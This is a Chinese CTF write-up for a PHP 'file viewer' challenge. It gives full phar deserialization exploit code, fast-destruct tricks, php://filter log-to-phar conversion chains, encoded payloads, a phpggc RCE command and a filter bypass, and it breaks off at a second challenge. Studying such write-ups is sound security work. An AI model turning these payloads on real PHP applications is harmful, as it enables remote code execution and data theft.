# 文件查看器
https://www.anquanke.com/post/id/231459#h3-4
# 源码
docker中 GFCTF容器
http://localhost:8088/?c=Files&m=read
User.php
<?php | |
error_reporting(0); | |
class User{ | |
public $username; | |
public $password; | |
public function login(){ | |
include("view/login.html"); | |
if(isset($_POST['username'])&&isset($_POST['password'])){ | |
$this->username=$_POST['username']; | |
$this->password=$_POST['password']; | |
if($this->check()){ | |
header("location:./?c=Files&m=read"); | |
} | |
} | |
} | |
public function check(){ | |
if($this->username==="admin" && $this-> password==="admin"){ | |
return true; | |
}else{ | |
echo "{$this->username}的密码不正确或不存在该用户"; | |
return false; | |
} | |
} | |
public function __destruct(){ | |
(@$this->password)(); | |
} | |
public function __call($name,$arg){ | |
($name)(); | |
} | |
} |
Myerror.php
<?php | |
class Myerror{ | |
public $message; | |
public function __construct(){ | |
ini_set('error_log','/var/www/html/log/error.txt'); | |
ini_set('log_errors',1); | |
} | |
public function __tostring(){ | |
$test=$this->message->{$this->test}; | |
return "test"; | |
} | |
} |
Files.php
<?php | |
class Files{ | |
public $filename; | |
public function __construct(){ | |
$this->log(); | |
} | |
public function read(){ | |
include("view/file.html"); | |
if(isset($_POST['file'])){ | |
$this->filename=$_POST['file']; | |
}else{ | |
die("请输入文件名"); | |
} | |
$contents=$this->getFile(); | |
echo '<br><textarea class="file_content" type="text" value='."<br>".$contents; | |
} | |
public function filter(){ | |
if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){ | |
echo "这合理吗"; | |
throw new Error("这不合理"); | |
} | |
} | |
public function getFile(){ | |
$contents=file_get_contents($this->filename); | |
$this->filter(); | |
if(isset($_POST['write'])){ | |
file_put_contents($this->filename,$contents); | |
} | |
if(!empty($contents)){ | |
return $contents; | |
}else{ | |
die("该文件不存在或者内容为空"); | |
} | |
} | |
public function log(){ | |
$log=new Myerror(); | |
} | |
public function __get($key){ | |
($key)($this->arg); | |
} | |
} |
# 描述
功能就是查看是否存在该文件,如果存在就写出来,如果不存在就报错
# 解法一:phar 反序列化
# 挖链子
从源码看到有file_get_contents可以触发phar://伪协议,所以我们先找到pop链
先找到__destruct()函数
发现User.php中有__destruct函数
跟进password到User::check()函数
这里的check()函数返回true对我们没有帮助,所以我们看else,这里有个echo, 如果$this->username是一个Myerror类的话,那么这里可以调用Myerror的__toString函数,继续跟进__toString函数
这里使用了message的test成员,发现Myerror类没有test成员,那么如果这个Message是一个File类,那么就能触发File类的__get()方法
如果我们传入$key为system, $this->arg为其他命令,那么就可以RCE了
所以链子为
User:__destruct()->User:check()->Myerror:__toString()->Files:__get()
# 生成 phar 文件
<?php | |
class Files{ | |
public $arg; | |
public function __construct(){ | |
$this->arg="cat /f*"; | |
} | |
} | |
class Myerror{ | |
public $message; | |
public $test; | |
public function __construct(){ | |
$this->message=new Files(); | |
$this->test="system"; | |
} | |
} | |
class User{ | |
public $username; | |
public $password; | |
public function __construct(){ | |
$this->username=new Myerror(); | |
} | |
} | |
$a=new User(); | |
$a->password=[new User(),"check"]; | |
$b=[$a,null]; | |
$phar = new Phar("novic4.phar"); | |
$phar->startBuffering(); | |
$phar->setStub("__HALT_COMPILER(); ?>"); | |
$phar-> addFromString('1.txt','111'); | |
$phar->setMetadata($b); | |
$phar->stopBuffering(); |
# fast destruct 提前触发魔术方法
制造出的phar⽂件后,我们⼜会发现⼀个新的问题
可以看到,在filter⽅法中,过滤了phar。如果匹配到输⼊中的phar就会抛出错误,导致程序异常退
出,⽽ __destruct ⽅法是程序正常退出时才会触发,这也就意味着我们的反序列化还没开始就结束
了
# Fast destruct
具体来说,在PHP中有:
1、如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。
2、如果反序列化函数序列化出来的对象被赋给了程序中的变量,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,当这个对象被销毁,才会执行其析构函数。
例如, 反序列化得到的对象被赋给了$res导致__destruct在程序结尾才被执行,从而无法绕过perg_match代码块中的报错,如果能够进行fast destruct,那么就可以提前触发_destruct,绕过反序列化报错
# 触发方法
# 1,修改序列化数组的键 | |
a:2:{i:0;O:4:"User":0:{}i:1;s:3:"xxx";} | |
# 可以看到这个数组的序列化字符串中,有两个元素,其结构为 | |
{ | |
0=>Object(User) | |
1=>"xxx" | |
} | |
#此时我们修改⼀下这个序列化字符串 | |
a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";} | |
可以看到,我们将键1改为了0。因为反序列化是按顺序的,数组的键0先指向了⼀个User对象,然后 | |
再继续时,原来的值就被 xxx 覆盖了,此时那个 User 对象也就没有了变量指向它,就会触发其中的 | |
__destruct⽅法 |
#2, 去掉序列化尾部 } | |
a:1:{i:0;O:7:"myclass":1:{s:1:"a";O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}} |
例如
<?php | |
class a{ | |
public $a = 'miku'; | |
public function fitter() | |
{ | |
throw new Error('no'); | |
} | |
public function __destruct() | |
{ | |
echo 'destruct'; | |
} | |
} | |
//O:1:"a":1:{s:1:"a";s:4:"miku";} | |
$a = unserialize('O:1:"a":1:{s:1:"a";s:4:"miku";}'); | |
$a->fitter(); |
生成array然后设置键 | |
//a:2:{i:0;O:1:"a":1:{s:1:"a";s:4:"miku";}i:1;N;} | |
$a = unserialize('a:2:{i:0;O:1:"a":1:{s:1:"a";s:4:"miku";}i:0;N;}'); | |
$a->fitter(); |
把大括号去掉 | |
//O:1:"a":1:{s:1:"a";s:4:"miku";} | |
$a = unserialize('O:1:"a":1:{s:1:"a";s:4:"miku";'); | |
$a->fitter(); |
# 修改签名
因为phar⽂件是有签名的,我们修改了序列化字符串后还需要修改签名
从官⽅⽂档可知,phar⽂件的签名在⽂件末尾,最后四个字节是固定的,前⾯4个字节⽤来指定签名
算法,默认是sha1,⻓度为20字节,所以签名部分就是末尾28个字节。我们可以先删除末尾28个字
节,然后修改序列化字符串,再计算sha1
修改1变成0
生成签名,末尾加上02 00 00 GBMB
echo sha1(file_get_contents('novic4.phar'));
然后可以使⽤下⾯的脚本⽣成payload | |
<?php | |
$c=""; | |
$a=file_get_contents("novic4.phar"); | |
$b=base64_encode($a); | |
for($i=0;$i<strlen($b);$i++){ | |
if($b[$i]=="+"){ | |
$c.="%2b"; | |
}else if($b[$i]=="="){ | |
$c.="=3D"; | |
}else{ | |
$c.=$b[$i]; | |
} | |
$c.="=00"; | |
} | |
echo $c; |
file=X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00%2b=00D=00Q=00p=005=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00G=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00T=00p=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00P=00O=00j=00Q=006=00I=00l=00V=00z=00Z=00X=00I=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00d=00X=00N=00l=00c=00m=005=00h=00b=00W=00U=00i=00O=000=008=006=00N=00z=00o=00i=00T=00X=00l=00l=00c=00n=00J=00v=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=003=00O=00i=00J=00t=00Z=00X=00N=00z=00Y=00W=00d=00l=00I=00j=00t=00P=00O=00j=00U=006=00I=00k=00Z=00p=00b=00G=00V=00z=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=000=004=007=00f=00W=00k=006=00M=00T=00t=00z=00O=00j=00U=006=00I=00m=00N=00o=00Z=00W=00N=00r=00I=00j=00t=009=00f=00W=00k=006=00M=00D=00t=00O=00O=003=000=00F=00A=00A=00A=00A=00M=00S=005=000=00e=00H=00Q=00D=00A=00A=00A=00A=00u=00F=00m=00P=00Y=00Q=00M=00A=00A=00A=00A=009=00U=00W=00t=00N=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00A=00x=00M=00T=00H=002=00O=00d=00V=00a=00j=00/=005=00P=009=00d=00a=00F=00y=005=00O=00h=00z=00M=001=00Z=00m=000=00n=00l=00g=00Q=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00a&write=1 |
# 寻找利用 phar 文件点
现在就需要想办法将phar⽂件写⼊服务器了,可以看到⽂件查看器是有⼀个重写功能的。不过因为
⽬录权限及open_basedir等限制,我们很难写⼊新的⽂件,这时error.txt就出现在了我们的眼中。
从源码中可以看到error.txt就是记录报错信息的地⽅,我们在输⼊框中随便输⼊⼀串字符
然后查看error.txt,发现我们的输⼊也是被记录在了error.txt中的,这就说明error.txt有⼀部分是我
们可控的,那么怎么把它变成⼀个纯净的phar⽂件呢?
# 生成纯净的 phar 文件
这里利用的知识点file_put_contents的死亡绕过一致
写入了日志文件后,如何变成纯净的 phar 文件利用 。
phar 文件只要有正确的 stub 即可,它可以理解为一个标志,格式为 xxx<?php xxx; __HALT_COMPILER();?>
,前面内容不限,但必须以 __HALT_COMPILER();?>
来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件。
我们如何转换 log 文件为 phar ?
用 php://filter
在文件返回前更改其内容?
CTFer 应该很熟悉,在读取包含有敏感信息的 php 等源文件时,为了规避特殊字符造成混乱,先将 “可能引发冲突的代码” 编码一遍,如 b64 :
php://filter/read=convert.base64-encode/resource=xxx.php
而 php 在进行 b64 解码时,不符合 b64 标准的字符将被忽略,也就是说仅将合法字符组成密文进行解码,这个特性在绕过 “死亡 exit” 时经常被用到,解密等同于以下代码:
<?php | |
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); | |
base64_decode($_GET['txt']); |
看上去这个方法是可行的,但日志文件并非完全由我们写入的内容组成,还有旧记录,并且我们注入生成的记录会类于以下格式:
[2021-02-10 14:35:38] local.ERROR: file_get_contents(snovving): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(snovving): failed to open stream: No such file or directory at /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75) | |
[stacktrace] | |
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/src/vendor/fac...', 75, Array) | |
#1 /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('snovving') | |
... | |
#36 /src/server.php(21): require_once('/src/public/ind...') | |
#37 {main} | |
"} |
可以看到 payload (snovving) 出现了三次,还有时间前缀和后面大量堆栈跟踪的信息,注入的内容只占其中很小一部分,这意味着返回的内容将是巨量的。
同时还有个非常严重的问题,b64 解码是 4 比特一组, ==
或 =
只会出现在末尾,它们代表最后一组的代码只有 8 位或 16 位,如果 =
出现在了中间,因为是 b64 合法字符不会被忽略,也绝大可能不能被正确解码,也就是说,php 将会报错,这样将不会返回任何结果。
综上所述,即使我们利用多次 b64 解码吃掉其他字符,也很大可能出现错误( =
),并不能精确地转换为 phar ,而且构造上也很繁琐,因为我们在实际测试中,并不知道旧记录,也不知道 log_max_files
最大的日志文件数。
思考到这,既然文本量大,在注入前,我们索性彻底清空 log 文件,这样文件内容就完全是我们 payload 的记录了,届时再来想办法用 b64 吃字符转换,化大为小。
确定思路后,我们先来观察单个错误记录, 之前我们注意到它出现了三次,但我们现在要关注的是 payload 完整出现的地方:
这里我用了更明显的 payload ,可以看到完整出现的有两处,记录结构也就相当于:
[x1]payload[x2]payload[x3] |
即使加上以前日志记录:
[x0] | |
[x1]payload[x2]payload[x3] |
这般,我们清空 log ,也就删除了 [x0]
。
# 清空 log 文件
作者提到有一个过滤器(并未被官方文档记录)可以完全清除:
php://filter/read=consumed/resource=../storage/logs/laravel.log |
# 处理单个错误
虽然单独的 b64 不能清除 [x1]~[x3]
,但我们不只有这一个过滤器,况且 php://filter
是允许使用多个过滤器的。
处理单个错误的思路,便是把 [xn]
这部分内容尽可能变成非 b64 合法字符,最后一次性 b64 解码吃掉,就剩下了我们的 payload ,phar 文件。
可用过滤器列表
由此,我们需要选择方便构造的过滤器,例如 utf-16 转换为 utf-8 :
<?php | |
$fp = fopen('php://output', 'w'); | |
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8'); | |
fwrite($fp, "T\0h\0i\0s\0 \0i\0s\0 \0a\0 \0t\0e\0s\0t\0.\0\n\0"); | |
fclose($fp); | |
/* Outputs: This is a test. */ | |
?> |
测试一下:
echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0[x2]p\0a\0y\0l\0o\0a\0d\0[x3]' > /tmp/test.txt | |
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); | |
硛崱payload硛崲payload硛崳 |
这样 [xn]
的部分就都变成了非 ascii 字符,接下来就要想办法让两处完整 payload 只出现一次。
因为 utf-16 使用两个字节,我们可以在后面加一字节,从而使第二处解码错误 :
echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' > /tmp/test.txt | |
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); | |
硛崱payload存㉸灝愀礀氀漀愀搀堀硛崳 |
这样做还有一个好处,因为我们的 payload 不一定像示例一样奇数个能对齐,或许是如 snovving 这样的偶数个字符:
echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g[x2]s\0n\0o\0v\0v\0i\0n\0g[x3]' > /tmp/test.txt | |
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); | |
硛崱snovvin孧㉸獝渀漀瘀瘀椀渀最硛崳 |
可以看到最后的 g 没有解码成功,但我们加上一字符:
echo -ne '[x1]s\0n\0o\0v\0v\0i\0n\0g\0X[x2]s\0n\0o\0v\0v\0i\0n\0g\0X[x3]' > /tmp/test.txt | |
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); | |
硛崱snovving存㉸獝渀漀瘀瘀椀渀最堀硛崳 |
就能保证有一处解码是完全正确的。
上述都是建立在日志文件本身是两个字节对齐的前提下,但如果不是的话,我们仍会在 [x1]~[x3]
解码错误:
PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1 |
所以我们得想办法让这个文件 [x1]~[x3]
的部分尽量 “均匀”,能无限接近 “整除”,这样想就很明确了,两倍。
我们在发送攻击 payload 之前,先随便发送一个无害的,届时日志文件就是这样的构造,保证了两字节:
[x1_1]payload1[x1_2]payload1[x1_3] | |
[x2_1]payload2[x2_2]payload2[x2_3] |
最后,便是对空字节的处理,它只有一字节,而 file_get_contents()
在加载有空字节的文件时会 warning :
PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1 |
所以我们要对它进行填充编码,相信有过一定计网知识的会联想到 quoted-printable 这种内容传送编码。
quoted-printable
这种编码方法的要点就是对于所有可打印字符的 ascii 码,除特殊字符等号 = 外,都不改变。
= 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是:
先将每个字节的二进制代码用两个十六进制数字表示,然后在前面再加上一个等号 = 。
举例如 = ,它的编码便是
=3D
,3D 可对照十六进制 ascii 码表得到。
在清空了 log 文件、传送两个 payload 后,文件中只有两个错误信息记录,也就是说,只有少量的非 ascii 码,用这种编码方式再适合不过,并且,它也有对应的过滤器 convert.quoted-printable-decode
:
<?php | |
$fp = fopen('php://output', 'w'); | |
stream_filter_append($fp, 'convert.quoted-printable-encode'); | |
fwrite($fp, "This is a test.\n"); | |
/* Outputs: =This is a test.=0A */ | |
?> |
空字节的编码,自然是 =00
。
至此,我们的转换链就能构造了:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log |
综上,两个问题的提出和解决,攻击思路已经非常明晰了:
- 编码构造 payloadb64 -> quoted-printable ,这里构造好后,还要在末尾添加一字符,确保有且只有一处是完整的 payload 。
- 清空 log 文件
- 发送无害 payload 对齐
- 发送攻击 payload
- 解码转换 log 至 pharquoted-printable -> utf-16 转 utf-8 -> b64
- phar 伪协议执行
# 漏洞利用
编码构造,需要在 phpggc 目录中运行,结果保存在 payload.txt
中,记得在末尾添加一个字符,如 a
,这里我并未用作者博客中的生成指令,两个 sed 表达式并不能百分百正确 quoted-printable 编码,我参考了作者写的 exp 脚本,quoted-printable 本质上就是将每个字节的十六进制数前加一个 =
,所以能得出指令:
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt |
清空 log 文件:
php://filter/read=consumed/resource=../storage/logs/laravel.log |
发送无害 payload :
AA
将第一步构造好的 payload 发送(注意末尾的 a
是我们前面添加的):
=50=00=44=00=39=00=77=00=61=00=48=00=41...=00=43=00=54=00=55=00=49=00=3D=00a |
转换文件:
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log |
注意转换文件这步一定要无返回信息,如果有错误,说明前几步根本没到位。
此时的 log 文件一定只有一条完整的 payload ,也就是纯净的 phar 文件:
伪协议:
phar://../storage/logs/laravel.log/test.txt
利用成功。
# payload
1, 先清空日志 | |
file=php://filter/read=consumed/resource=log/error.txt&write=1 | |
2, 传入payload | |
file=X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00%2b=00D=00Q=00p=005=00A=00Q=00A=00A=00A=00Q=00A=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00G=00A=00Q=00A=00A=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00T=00z=00o=000=00O=00i=00J=00V=00c=002=00V=00y=00I=00j=00o=00y=00O=00n=00t=00z=00O=00j=00g=006=00I=00n=00V=00z=00Z=00X=00J=00u=00Y=00W=001=00l=00I=00j=00t=00P=00O=00j=00c=006=00I=00k=001=005=00Z=00X=00J=00y=00b=003=00I=00i=00O=00j=00I=006=00e=003=00M=006=00N=00z=00o=00i=00b=00W=00V=00z=00c=002=00F=00n=00Z=00S=00I=007=00T=00z=00o=001=00O=00i=00J=00G=00a=00W=00x=00l=00c=00y=00I=006=00M=00T=00p=007=00c=00z=00o=00z=00O=00i=00J=00h=00c=00m=00c=00i=00O=003=00M=006=00N=00z=00o=00i=00Y=002=00F=000=00I=00C=009=00m=00K=00i=00I=007=00f=00X=00M=006=00N=00D=00o=00i=00d=00G=00V=00z=00d=00C=00I=007=00c=00z=00o=002=00O=00i=00J=00z=00e=00X=00N=000=00Z=00W=000=00i=00O=003=001=00z=00O=00j=00g=006=00I=00n=00B=00h=00c=003=00N=003=00b=003=00J=00k=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k=006=00M=00D=00t=00P=00O=00j=00Q=006=00I=00l=00V=00z=00Z=00X=00I=00i=00O=00j=00I=006=00e=003=00M=006=00O=00D=00o=00i=00d=00X=00N=00l=00c=00m=005=00h=00b=00W=00U=00i=00O=000=008=006=00N=00z=00o=00i=00T=00X=00l=00l=00c=00n=00J=00v=00c=00i=00I=006=00M=00j=00p=007=00c=00z=00o=003=00O=00i=00J=00t=00Z=00X=00N=00z=00Y=00W=00d=00l=00I=00j=00t=00P=00O=00j=00U=006=00I=00k=00Z=00p=00b=00G=00V=00z=00I=00j=00o=00x=00O=00n=00t=00z=00O=00j=00M=006=00I=00m=00F=00y=00Z=00y=00I=007=00c=00z=00o=003=00O=00i=00J=00j=00Y=00X=00Q=00g=00L=002=00Y=00q=00I=00j=00t=009=00c=00z=00o=000=00O=00i=00J=000=00Z=00X=00N=000=00I=00j=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=00M=006=00O=00D=00o=00i=00c=00G=00F=00z=00c=003=00d=00v=00c=00m=00Q=00i=00O=000=004=007=00f=00W=00k=006=00M=00T=00t=00z=00O=00j=00U=006=00I=00m=00N=00o=00Z=00W=00N=00r=00I=00j=00t=009=00f=00W=00k=006=00M=00D=00t=00O=00O=003=000=00F=00A=00A=00A=00A=00M=00S=005=000=00e=00H=00Q=00D=00A=00A=00A=00A=00u=00F=00m=00P=00Y=00Q=00M=00A=00A=00A=00A=009=00U=00W=00t=00N=00p=00A=00E=00A=00A=00A=00A=00A=00A=00A=00A=00x=00M=00T=00H=002=00O=00d=00V=00a=00j=00/=005=00P=009=00d=00a=00F=00y=005=00O=00h=00z=00M=001=00Z=00m=000=00n=00l=00g=00Q=00I=00A=00A=00A=00B=00H=00Q=00k=001=00C=00a&write=1 | |
3, 进行编码转换 | |
file=php://filter/write=convert.quoted-printable-decode/resource=log/error.txt | |
&write=1 | |
file=php://filter/write=convert.iconv.ucs-2.utf8/resource=log/error.txt&write= | |
1 | |
file=php://filter/write=convert.base64-decode/resource=log/error.txt&write=1 | |
4,phar:// 反序列化 | |
file=phar://log/error.txt&write=1 |
# 解法二: 纹彬大哥的 wp
Files 这个类中存在这一段代码
$contents=file_get_contents($this->filename); | |
$this->filter(); | |
if(isset($_POST['write'])){ | |
file_put_contents($this->filename,$contents); | |
} |
然后 class Myerror
将日志写在了 /var/www/html/log/error.txt
,此时使用 php://filter
伪协议可以向 log/error.txt
写入无损文件
然后参考 https://www.anquanke.com/post/id/231459#h3-5 可以构造出写入无损文件的 payload:
php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=log/error.txt&write=1 |
但实际上过滤了 utf-16
这个关键字,不过可以使用 url 编码进行绕过,所以构造下面的 payload
file=php://filter/read=convert.quoted-printable-decode|convert.iconv.utf%252d16be.utf-8|convert.base64-decode/resource=log/error.txt&write=1 |
然后写 python 程序将文件转为 quoted-printable
编码
import base64 | |
def enqa(s=""): | |
return (''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in s]).upper()) | |
if __name__ == "__main__": | |
s = enqa("a"+base64.b64encode(open("payload.phar","rb").read()).decode().replace("=",""))+"=00" | |
print(s) |
此时已经可以做到向服务器写入无损文件了,也就是先向 ?c=Files&m=read
传入两次 file==61=00=52=00=30=00=……=00
,然后传入一次
file=php://filter/read=convert.quoted-printable-decode|convert.iconv.utf%252d16be.utf-8|convert.base64-decode/resource=log/error.txt&write=1 |
再就能写入无损文件
于是构造 phar 文件反序列化,前面在执行 $contents=file_get_contents($this->filename);
的时候可以触发反序列化,但是还有一个问题就是后面的 filter()
函数检测到 file 中包含 phar 会报错,于是这里需要一个 fast destruct
,就是将序列化的字符串末尾的一个大括号去掉,然后构造 phar 文件。
我这里先挖条链
$a = new User(); | |
$b = new Myerror(); | |
$c = new Files(); | |
$a->password = array($b,"__tostring"); | |
$b->message = $c; | |
$b->test = "system"; | |
$c->arg = "cat /flag"; | |
$p = new Phar("payload.phar",0); | |
$p->startBuffering(); | |
$p->setMetadata($a); | |
$p->setStub("GIF89a__HALT_COMPILER();"); | |
$p->addFromString("text.txt","successful!"); | |
$p->stopBuffering(); |
然后将序列化的字符串手动删掉一个大括号并手动计算签名填充在文件尾
file==61=00=52=00=30=00=6C=00=47=00=4F=00=44=00=6C=00=68=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=46=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=50=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=56=00=63=00=32=00=56=00=79=00=49=00=6A=00=6F=00=79=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=6E=00=56=00=7A=00=5A=00=58=00=4A=00=75=00=59=00=57=00=31=00=6C=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=63=00=36=00=49=00=6B=00=31=00=35=00=5A=00=58=00=4A=00=79=00=62=00=33=00=49=00=69=00=4F=00=6A=00=49=00=36=00=65=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=62=00=57=00=56=00=7A=00=63=00=32=00=46=00=6E=00=5A=00=53=00=49=00=37=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=47=00=61=00=57=00=78=00=6C=00=63=00=79=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=7A=00=4F=00=69=00=4A=00=68=00=63=00=6D=00=63=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=32=00=46=00=30=00=49=00=43=00=39=00=6D=00=4B=00=69=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=44=00=6F=00=69=00=64=00=47=00=56=00=7A=00=64=00=43=00=49=00=37=00=63=00=7A=00=6F=00=32=00=4F=00=69=00=4A=00=7A=00=65=00=58=00=4E=00=30=00=5A=00=57=00=30=00=69=00=4F=00=33=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=6E=00=42=00=68=00=63=00=33=00=4E=00=33=00=62=00=33=00=4A=00=6B=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=50=00=4F=00=6A=00=63=00=36=00=49=00=6B=00=31=00=35=00=5A=00=58=00=4A=00=79=00=62=00=33=00=49=00=69=00=4F=00=6A=00=49=00=36=00=65=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=62=00=57=00=56=00=7A=00=63=00=32=00=46=00=6E=00=5A=00=53=00=49=00=37=00=54=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=47=00=61=00=57=00=78=00=6C=00=63=00=79=00=49=00=36=00=4D=00=54=00=70=00=37=00=63=00=7A=00=6F=00=7A=00=4F=00=69=00=4A=00=68=00=63=00=6D=00=63=00=69=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=59=00=32=00=46=00=30=00=49=00=43=00=39=00=6D=00=62=00=47=00=46=00=6E=00=49=00=6A=00=74=00=39=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=30=00=5A=00=58=00=4E=00=30=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=59=00=36=00=49=00=6E=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=49=00=37=00=66=00=57=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=66=00=58=00=33=00=52=00=76=00=63=00=33=00=52=00=79=00=61=00=57=00=35=00=6E=00=49=00=6A=00=74=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=65=00=48=00=51=00=75=00=64=00=48=00=68=00=30=00=43=00=77=00=41=00=41=00=41=00=4B=00=7A=00=56=00=6F=00=47=00=45=00=4C=00=41=00=41=00=41=00=41=00=57=00=47=00=47=00=78=00=42=00=4C=00=59=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=63=00=33=00=56=00=6A=00=59=00=32=00=56=00=7A=00=63=00=32=00=5A=00=31=00=62=00=43=00=47=00=69=00=6C=00=75=00=4A=00=62=00=71=00=62=00=56=00=79=00=78=00=67=00=4B=00=2F=00=45=00=54=00=71=00=76=00=74=00=4F=00=62=00=6A=00=2F=00=42=00=43=00=6B=00=48=00=2B=00=5A=00=68=00=51=00=78=00=74=00=48=00=44=00=41=00=49=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=00a&write=1 |
然后用上面的方法将文件上传到 log/error.txt
,使用 phar 协议触发反序列化就能拿到 flag
# Baby_web
# 题目
这道题进去之后f12发现存在注释,告诉我们源码藏在上层⽬录下,由于web的根⽬录
